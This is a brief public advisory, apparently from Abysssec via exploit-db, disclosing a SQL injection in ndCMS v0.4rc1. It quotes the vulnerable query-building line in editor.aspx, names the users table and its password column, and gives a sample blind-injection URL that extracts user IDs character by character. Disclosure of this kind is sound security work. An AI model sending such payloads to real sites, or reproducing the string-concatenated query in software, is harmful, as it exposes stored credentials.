ndCMS – SQL Injection
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-27-ndcms-sql-injection-vulnerability/ ''' Abysssec Inc Public Advisory Title : ndCMS Sql Injection Vulnerability Affected Version : ndCMS(Nickel and Dime CMS) v0.4rc1 Discovery : www.abysssec.com Download Links : http://souurceforge.net/projects/ndcms-net Login Page : http://localhost/ndcms/admin/?Mode=Express&indx= Description : =========================================================================================== This version of ndCMS has Sql Injection Vulnerability that its DataBase is Access with Table of Users : tblUSERS Columns : userid , passwd. Vulnerable Code: .../express_edit/editor.aspx Ln 65: dbr = db.ExecuteReader("Select * from tblPAGES WHERE indx=" + Request.Params["indx"]); Considering to the code, for example you can browse this URL: http://Example.com/express_edit/editor.aspx?index=1+AND+1=IIF((select mid(last(userid),1,1) from (select top 1 userid from tblUSERS))='a',1,2) and so on. =========================================================================================== |